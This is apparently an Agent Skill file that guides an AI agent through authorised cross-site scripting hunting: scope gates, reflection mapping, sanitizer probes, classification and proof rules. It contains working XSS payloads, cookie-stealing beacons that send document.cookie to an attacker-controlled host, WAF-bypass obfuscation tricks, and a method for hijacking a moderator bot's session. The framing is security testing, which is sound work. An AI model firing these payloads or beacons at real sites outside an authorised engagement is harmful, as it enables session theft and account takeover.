# Hunt Xss

> Turn a reflection surface into evidence-carrying CANDIDATES for

- Skill: `encod3d-sec/hunt-xss-2` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx get-skill add encod3d-sec/hunt-xss-2`
- Raw SKILL.md: https://api.skillmd.com/api/skills/encod3d-sec/hunt-xss-2/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: Encod3d-Sec (https://skillmd.com/u/encod3d-sec)
- Updated: 2026-11-16
- Page: https://skillmd.com/skills/encod3d-sec/hunt-xss-2

---


# Hunt: XSS (golden-image rework)

Turn a reflection surface into evidence-carrying CANDIDATES for
cross-site scripting: reflected, stored, DOM, and blind XSS via
reviewer-bot beacons. This skill produces candidates, never verdicts -
findings leave ONLY through the G1 proof gate (triage).

> Current emphasis (update on wiki harvest): framework-gadget chains
> over reflected sinks - models over-index on over-represented old
> methods; the newest harvested technique leads until superseded.

**Assumes `hunt-core`** for the scope gate, two-account rule,
confirmation gate, enumeration limits, stop conditions, wiki protocol,
FIND output, and Deadends. Marker discipline (unique 8+ char canaries,
check the baseline first) lives in hunt-core.

## Wiki

Hub: [[web-moc]] - Primary page: [[wiki/techniques/web/xss]] - Payload
arsenal: `wiki/payloads/xss.md`
Anchors: [[dangling-markup]], [[xssi]], [[browser-extension-attacks]],
[[prototype-pollution]]
**REFS:** [[wiki/techniques/web/xss]], wiki/payloads/xss.md

mcp__wiki-search__query (lex) "XSS cross-site scripting DOM CSP bypass sanitizer" via
wiki-search MCP - ONLY on a concrete hint the map above does not
cover; not a blanket first step.

Shared bypass arsenal (blocked implies research, but walk this first): `skills/exploit/hunt/hunt-xss/references/bypass-arsenal.md` - NEW 2025-2026 classes (mXSS re-serialization, dangling-markup exfil, CSP nonce-theft + strict-dynamic gadget chain, Trusted Types bypass) + the defense -> bypass map; family sub-skills carry the deep dives..

## Paths (binding - define once at the top of the run notes)

    # seat side (wsl) - engagement tree is DOUBLE-NESTED in VMshare:
    ENG_DIR=/mnt/c/Users/Lenovo/Desktop/VMshare/<eng>/<eng>
    RUN=$ENG_DIR/hunt/xss/<host>
    # VM side (WHERE tools run, same tree through the VMware share):
    ENG_DIR=/mnt/VMshare/<eng>/<eng>
    RUN=$ENG_DIR/hunt/xss/<host>

Corpus and probes live in the VMshare tree; the VM runs tools against
the /mnt/VMshare spelling as user tz; the seat reads the same bytes at
the /mnt/c/Users/Lenovo/Desktop/VMshare spelling. Browser-leg artifacts
(console snapshots, screenshots) are client data and live ONLY under
targets/<eng>/poc/. The repo tree targets/<eng> is admin/ingest only
for framework files.

## Transport

Every VM-native command block ships through ONE documented transport:

    wsl.exe -d kali-linux -u root bash -c "cd /mnt/c/Users/Lenovo/Documents/ObisidianVaults/ZTorch/ZTorch && bash scripts/vm-ssh.sh '<command>'"

- vm-ssh lands as user tz (NOT root): no root-only paths, no sudo.
- vm-ssh.sh takes the command as ONE argument. Commands containing
  quotes ship as base64: write the script, then run
  `echo <b64> | base64 -d | bash` inside the vm-ssh argument.
- Non-login shells do NOT source profile.d: the PATH scope-shim is NOT
  active. Target-facing fetches MUST use the shim binaries by absolute
  path /opt/scope-shim/bin/{curl,httpx}.
- Shim verdict semantics (verified live): explicit out-of-scope host
  dies rc 126 (never work around it); in-scope passes; UNKNOWN hosts
  get an ADVISORY and the fetch proceeds - an advisory is NOT approval;
  verify against scope.md and self-deny anything not clearly in scope.
- The browser validation leg runs seat-side through the browser tool;
  its artifacts land under targets/<eng>/poc/, never on the VM.

## Entry gate

All four must pass before Step 1; each is falsifiable:

1. Active engagement exists (repo tree targets/<eng>/active.md) and
   <host> is on the targets/<eng>/scope.md in-scope list. Scope-guard
   is the deny. (targets/ is the repo admin tree; $ENG_DIR holds
   corpus and run artifacts only - see Paths.)
2. hunt-core loaded (skills/exploit/hunt/hunt-core/SKILL.md - it owns
   scope gate, marker discipline, confirmation gate, enum limits;
   never restated here).
3. Producer verified - at least ONE of:
   (a) $ENG_DIR/state.md asset table has >= 1 user-input-rendering
   endpoint row for <host>; \
   (b) $ENG_DIR/js/<domain>/findings/endpoints.jsonl parses AND its
   manifest.sha256 sidecar passes `sha256sum -c` run FROM that
   findings/ dir on the VM, OR the js-parser gadget map
   (analysis/site-summary.md) names a raw-HTML sink; \
   (c) the kickoff seeded $RUN/raw/reflection-map.md.
   None = dispatch the surface lane first; never probe blind.
4. Toolchain preflight (fails LOUD):

       # install-on-demand (operator rule): try interactsh before the fatal loop
       [ -x /home/tz/go/bin/interactsh-client ] || { \
           command -v go >/dev/null \
             && HOME=/home/tz go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@v1.2.0 2>/dev/null; }
       for t in /usr/bin/jq /usr/bin/python3 \
                 /opt/scope-shim/bin/curl \
                 /home/tz/go/bin/interactsh-client; do
         [ -x "$t" ] || { echo "MISSING TOOL: $t"; exit 1; }
       done

## Checklist (mandatory)

Copy checklist.md (this skill's dir) to
`$ENG_DIR/hunt/xss/<host>/xss-checklist.md` at run start. Tick boxes
as steps finish; unchecked at stop = UNCHECKED lane, re-run from the
first unchecked step. The SKILL.md text and the checklist header agree
byte-for-byte on that copy target.

## Nudge

Review-skill re-injection text (pinned for vocabulary match; NOTE: the
completion-gate script itself emits a different generic nudge - see
scripts/completion-gate.py NUDGE - both strings mean the same thing:
resume at the first unchecked box):

    Your work was just reviewed by the review skill and it was found
    that you either missed a step of analysis, or didn't generate an
    artifact of sufficient proof. Look at the markdown based checklist
    and the output for each step, find what you missed, and complete
    that step.

On this nudge: resume at the FIRST unchecked box of
$ENG_DIR/hunt/xss/<host>/xss-checklist.md - never restart the run from
zero. REVIEW may only be ticked after every earlier box is ticked.

## Confirmation gate

**NOT confirmation:** payload URL-encoded or HTML-encoded in the
response, `<script>` appearing as `&lt;script&gt;`, ASP.NET validator
blocked `<`.

**IS confirmation:** execution observed in a real browser
(alert(window.origin) firing), or an HTTP/DNS request to your unique
Collaborator/interactsh subdomain with a browser User-Agent
(Mozilla/Chrome).

When you plant a blind/stored XSS beacon, append a row to
targets/<eng>/oob.md: `| <token> | <sink url+param> | xss | <date> |
waiting | |` (columns: token | sink | class | planted | status |
source, where token = your unique Burp Collaborator / interactsh
label). The recon-capture hook auto-correlates incoming callbacks to
flip the row to HIT and SessionStart surfaces HITs; a HIT row is the
confirmation gate to scaffold the FIND. Do NOT claim a blind XSS
without a HIT row.

## Methodology

**Rank before testing.** High-value: admin panels (*/admin,
*/settings), payment flows, stored wikis/labels/tags, SSO/signin
pages, SVG upload endpoints.

**Approval / moderation workflow = the classic stored-XSS-to-privilege
escalation sink. Recognize it.** When your submission "awaits review/
approval" AND any field you control is rendered back in a privileged
panel (pending-registrations queue, report/ticket viewer, comment-
moderation list, order-approval screen), there is almost always a
headless reviewer bot that opens that panel. That is a blind-XSS
delivery you get for free: plant a cookie/session beacon in the field
and the reviewer's session is exfiltrated -> replay their cookie ->
you ARE the moderator/admin. The tell is often visible while authed as
a lower role or as admin: if the panel shows a prior submission's raw
markup (an unescaped username like `<x>` or `sqltest'...` sitting
literally in the table), the sink is confirmed WITHOUT even firing a
payload - that raw reflection IS the stored-XSS proof, do not walk
past it. Frequently the INTENDED path to the mid-tier (moderator)
flag/role on a box that also has a heavier unintended route (LFI/RCE).

**Reviewer-bot + WAF stored-XSS gotchas (avoid the self-inflicted
grind):**
- If a public writeup / known payload exists, fire its EXACT form
  first before inventing variants.
- Obfuscate ONLY the blocked token, not the whole payload. Submit each
  suspect token in isolation to learn exactly what the WAF rejects
  (often just the literal word cookie, or onerror/<script>). Keep
  everything else literal: `new Image().src='//IP/?x='+document
  ['coo'+'kie']` (split only cookie, keep document) beats splitting
  document too. Over-obfuscation (srcdoc+atob+.concat+template-
  literals) usually breaks EXECUTION, not the WAF.
- Prefer the simplest vector that passes the WAF AND runs in the bot.
  A plain `<body onload="new Image().src=...">` beacon is more
  reliable than a javascript: iframe (modern headless Chrome blocks
  javascript:-iframe navigation) or srcdoc gymnastics.
- Do NOT flood the moderation queue with test payloads. The reviewer
  panel usually renders a LIMITED window; buried test messages never
  surface, so "no callback" becomes ambiguous (broken payload vs
  not-rendered). Submit ONE payload + a paired plain-img control in
  the SAME message (same render), so a callback disambiguates
  render-vs-execution. Iterate in a clean queue.
- Read the bot's contract before iterating payloads. The detector
  often scores ONE signal (a cookie marker) while localStorage poison
  runs unscored; the bot may render only the victim's FIRST item, so
  give the victim account exactly one item; and a shared
  single-instance bot can WEDGE (instant generic failures, no
  navigation): its negative is not a verdict, stop burning probes and
  re-test solo after it recovers. [[wiki/techniques/web/xss]]

DOM XSS signals in JS bundles:

    document.write(  innerHTML =  location.hash  location.search
    eval(  $.html(  $(location  document.referrer

### Step 1 - Reflection map

Map every reflection point: URL params, form fields, HTTP headers,
file upload names. In an SPA, grep the JS bundle for
dangerouslySetInnerHTML / v-html FIRST (that names the raw-HTML
sinks), then submit the same markup to EVERY write field and diff the
readbacks: raw storage AND a raw-HTML sink is the stored-XSS field;
escaped sibling fields are the control [[wiki/techniques/web/xss]]. Row
schema `field | storage raw? | sink | classification`:

    { \
      echo "username | raw | td text | stored-candidate"
      echo "bio | escaped | - | control"
    } >> "$RUN"/raw/reflection-map.md

### Step 2 - Classification

Reflected / Stored / DOM. Input in a #fragment that never appears in
the Network tab is DOM (client-side only); markup absent from
View-Source but present in the live Inspector was written by JS after
page load; re-fires after refresh = stored. Browser-run discipline for
the DOM leg: console capture before first navigation; networkidle
before DOM inspection; console snapshot beside the screenshot into
targets/<eng>/poc/ (console artifacts are client data - they live only
under targets/<eng>/poc/).

### Step 3 - Sanitizer probe

Send `aaa"bbb'ccc<ddd` - observe which chars are escaped. This gates
every later payload choice (a markdown field through an escaping
renderer is closed here, not after fifty payloads).

**WAF/filter present?** The shared obfuscation arsenal is
`references/waf-bypass.md` (this skill's dir): fingerprint WHICH layer
blocked you (block-page size per layer), isolate + obfuscate ONLY the
blocked token, confirm the bytes survive into the response, and chain a
second technique only when the first is matched. Execution blocked by
CSP/Trusted-Types (not a WAF) dispatches `Skill(hunt-xss-csp)`.

### Step 4 - Allowlisted tag combos

`<math><style>`, `<svg><style>`, `<iframe srcdoc>`.

### Step 5 - SVG upload vectors (N/A: no upload endpoint)

SVG uploads often bypass CSP:

    <svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg>

### Step 6 - Markdown / RDoc vectors (N/A: no markdown renderer)

`[text](javascript:alert(document.domain))`, `link:javascript:`.

### Step 7 - Redirect params

`?redirect=javascript:alert(1)`.

### Step 8 - UTM params

utm_source, utm_medium - often unsanitized on marketing pages.

### Step 9 - Blind beacons (N/A: no admin/moderation panel)

Plant in admin-viewed fields: error messages, User-Agent, Referer,
username, contact/support forms. Load a remote script whose PATH names
the field so ONE submission reveals which field fired. Skip fields
validated on both ends or never rendered in cleartext (passwords get
hashed). Plant oob.md rows (targets/<eng>/oob.md); a blind claim
REQUIRES a HIT row. One paired plain-img control per beacon; no
moderation-queue flooding.

    <svg onload=fetch('//bxss-<tag>.<collab>/x?c='+document.cookie)>

    <!-- filter-bypass beacon: word "cookie" blocked / <script>,<img>
         filtered / entity-encoded. Concatenate the property name +
         use iframe onload; exfil via new Image() (no fetch needed). -->
    <iframe onload="new Image().src='//<lhost>:<port>/?x='+document['coo'+'kie']">
    <!-- other separators when on\w+= is regex-filtered:
         <svg%0conload=...> (form feed), <svg/onload=...> -->

### Step 10 - Browser validation

Validate in a real browser before reporting; prefer
alert(window.origin) over alert(1) so the popup names the executing
origin when input renders in a cross-domain iframe.

### Step 10b - Class dispatch (split routing)

Core classes: `Skill(hunt-xss-reflected)`, `Skill(hunt-xss-stored)`,
`Skill(hunt-xss-dom)`; admin/moderation beacons route to
`Skill(hunt-xss-blind)` (stored field in a moderator panel dispatches
BOTH stored and blind).

Escalation/edge classes (dispatch on their trigger, found in Steps 1-5
or reported back by an expert):
`Skill(hunt-xss-mxss)` sanitizer present + stripped-but-rerendered rows;
`Skill(hunt-xss-clobber)` HTML injection reaching DOM without execution
/ JS corpus shows clobber-able deref chains;
`Skill(hunt-xss-csti)` template framework fingerprinted or `{{7*7}}`
renders;
`Skill(hunt-xss-postmessage)` message listeners found in the JS corpus;
`Skill(hunt-xss-file)` upload/download surface serving files
browser-reachable;
`Skill(hunt-xss-csp)` confirmed injection but execution blocked by
CSP/Trusted-Types (an expert that hits a CSP wall re-dispatches here).

This mapper owns Steps 1-5 (map, sanitizer, classification) + the
merge; experts own class depth.

### Step 11 - Exit artifact (candidates)

Merge probe JSONLs (union, truncate+dedupe on endpoint+method+class;
keys class|host|endpoint|method|evidence|confidence|next).
candidates.md: human table + probe counts, EVERY class section present
("no hits" where true; a missing class section = failed lane).
Pointer $ENG_DIR/hunt-xss-<host>.md:

    XSS-HUNT-DONE reflected=<n> stored=<n> dom=<n> blind=<n> mxss=<n> clobber=<n> csti=<n> postmsg=<n> file=<n> csp=<n> next=<classes to dispatch, |-separated>

Plus: _requests.md rows (lane = hunt-xss), state.md asset rows
(access=exploit-candidate, source=hunt-xss), Deadends rows with the
WHY.

Every probe JSONL row: {class, host, endpoint, method, evidence
(absolute probes/raw/ path), observed, confidence}. Every request/
response pair under $RUN/probes/raw/ (filename = sha256 of
method+path+body).

## Key payloads (carried verbatim)

    <!-- Context probe -->
    aaa"bbb'ccc<ddd>eee`fff

    <!-- Reflected baseline -->
    "><script>alert(document.domain)</script>
    <svg onload=alert(1)>

    <!-- Sanitizer bypass -->
    <math><style><img src=x onerror=alert(1)></style></math>

    <!-- Markdown -->
    [Click](javascript:alert(document.domain))

Full obfuscation/WAF-bypass arsenal (parser quirks, encoding chains,
JS-body gadget invocation, scheme tricks): `references/waf-bypass.md`.

## Validation

- Proof = execution in a real browser (alert(window.origin) names the
  executing origin), or a blind beacon whose oob.md row flipped to
  HIT. DOM claims need the sink observed in the live Inspector
  (post-load), not view-source.
- Counterevidence to seek: the deployed CSP (enforced vs report-only),
  and the sink's context on OTHER origins that embed the content.

## False Positives

- Encoded reflection (`&lt;script&gt;` in the body): the encoder IS
  the control; name it (which encoder, at which response point) when
  deadending.
- Self-XSS with no chain (no second victim).
- Markdown rendered through an escaping renderer: probe
  `aaa"bbb'ccc<ddd` FIRST.
- Reflection in a JSON response with a JSON Content-Type never
  rendered.
- CSP report-only misread as enforced, or enforced misread as
  report-only (read the header directive).

## Cross-routing

- hunt-upload for SVG/file-borne payload delivery.
- hunt-cache / hunt-smuggling when the payload needs a poisoned or
  desynced response to reach the victim.
- hunt-llm when the sink renders model output (markdown render of LLM
  content).
- Not this skill: stored-but-always-escaped fields (deadend with the
  control named).

## Severity

Confirm in a real browser, not just Burp.

- **high** - stored in an admin/privileged context, or session theft
  demonstrated.
- **medium** - reflected requiring a click.
- **low** - self-XSS with no chain.

## Deadends

    Append: - [ ] XSS on <host> <param> -- payload encoded/rejected,
    [detail]

## N/A escapes

- "N/A: no upload endpoint"
- "N/A: no markdown renderer"
- "N/A: no admin/moderation panel"
An N/A tick is a claim with a reason, never a silent pass. Identical
strings in SKILL.md and checklist.md.

## Bitter-pill variant

When the kickoff designates this run freehand: skip the checklist copy
and numbered steps, one freehand pass over the reflection map, output
lands ONLY in $RUN/analysis/bitter-pill.md (tried / found / dismissed,
every claim carries file:line or request evidence). Never edits
structured outputs. Proof gates still apply - freehand never skips
proof, and the OOB-mandatory rule survives freehand. Declare with one
_requests.md row (lane = hunt-xss-bitterpill) so completion-gate
routes to this artifact contract instead of the checklist ledger.

### Depth walk (mandatory)

Walk EVERY applicable row of the payload arsenal page cited above.
Record each row in `$RUN/coverage-depth.md` as a table
`| row | state | evidence |` where state is `probed`, `blocked`, or
`N/A`, and evidence is a probe-pair path or a Deadends.md line. A bare
`probed` with no evidence reference fails the completion gate
(NEEDS-REVIEW). N/A rows cite why (surface shape forbids it).

Blocked implies research: before any Deadend is claimable on a blocked
row, (a) walk the arsenal page's bypass-ladder rows for that control
class, and (b) run one wiki query AND one `mcp__wigolo__search` for the
specific tech-plus-control bypass. Results, or a genuine null, land in
`coverage-depth.md`. "No research tried" is not a claimable state.

## Exit artifact + handoff

ONE exit artifact set: $RUN/candidates.jsonl (machine) +
candidates.md (human) + $ENG_DIR/hunt-xss-<host>.md (pointer with
XSS-HUNT-DONE + counts). The consumer (triage) finds at $RUN:
raw/reflection-map.md, raw/oob-tokens.md, probes/*.jsonl,
probes/raw/*, candidates.{jsonl,md}; browser-leg evidence under
targets/<eng>/poc/. Findings leave ONLY through G1 (triage). Distill
confirmed GENERIC patterns: `python3 scripts/wiki-stage.py --kind
technique --slug <slug> --target-page techniques/web/xss.md`.

## Stop conditions

Terminal states complete (probed | N/A with reason | deadend row
written), nothing written into skill dirs (skills/exploit/hunt/
hunt-xss/ stays untouched), no unchecked boxes above REVIEW. hunt-core
stop conditions fire unchanged.

## Attack surface

**APPROACH:** Map every reflection point, classify reflected/stored/DOM, probe the sanitizer (`aaa"bbb'ccc<ddd`), then fire the context-matched payload; plant a blind beacon in admin/moderation-viewed fields and confirm the session-theft callback.
**AVOID:** A payload that comes back URL/HTML-encoded (`&lt;script&gt;`) is NOT XSS; a blind/stored beacon is unproven until its `oob.md` row flips to HIT.

